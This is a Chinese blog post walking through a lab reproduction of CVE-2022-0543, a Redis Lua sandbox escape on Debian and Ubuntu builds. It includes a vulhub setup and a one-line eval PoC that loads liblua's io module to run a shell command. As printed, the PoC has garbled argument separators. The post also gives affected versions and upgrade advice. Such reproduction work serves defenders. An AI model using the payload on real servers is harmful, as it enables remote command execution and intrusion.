【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

admin 2022年3月19日04:33:31评论403 views1字数 1190阅读3分58秒阅读模式

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x01 前言

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。


0x02 环境搭建

利用docker搭建漏洞复现环境

git pul  // 更新vulhub

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

拉取漏洞环境

docker-compose  up -d

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x03 漏洞复现

利用redis-cli工具连接redis

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

利用poc验证:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0""luaopen_io"); local io = io_l(); local f = io.popen("whoami""r"); local res = f:read("*a"); f:close(); return res' 0

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

0x04 漏洞影响


影响版本An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivativesRedis >=2.2 and < 5.0.13Redis >=2.2 and < 6.0.15Redis >=2.2 and < 6.2.5
安全版本Redis 6.2.56.0.155.0.13或更高版本

0x05 修复建议

更新最新无漏洞版本

0x06 参考链接

https://twitter.com/jas502n/status/1501949645026918403https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rcehttps://mp.weixin.qq.com/s/OajI--GbU97L8oL___QMFQ


>精彩回顾<

干货 | 红队快速批量打点的利器

【干货】最全的Tomcat漏洞复现

{Vulhub漏洞复现(一)ActiveMQ}

{Vulhub漏洞复现(二) Apereo CAS}

Cobalt Strike免杀脚本生成器|cna脚本|bypassAV

xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法

【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现

干货 | 横向移动与域控权限维持方法总汇

干货 | 免杀ShellCode加载框架

【干货】phpMyAdmin漏洞利用汇总

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

关注我

获得更多精彩

【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

坚持学习与分享!走过路过点个"在看",不会错过【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

仅用于学习交流,不得用于非法用途

如侵权请私聊公众号删文

原文始发于微信公众号(渗透Xiao白帽):【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月19日04:33:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CVE-2022-0543 | 附PoC】 Redis Lua 沙箱绕过RCE复现https://cn-sec.com/archives/833532.html

发表评论

匿名网友 填写信息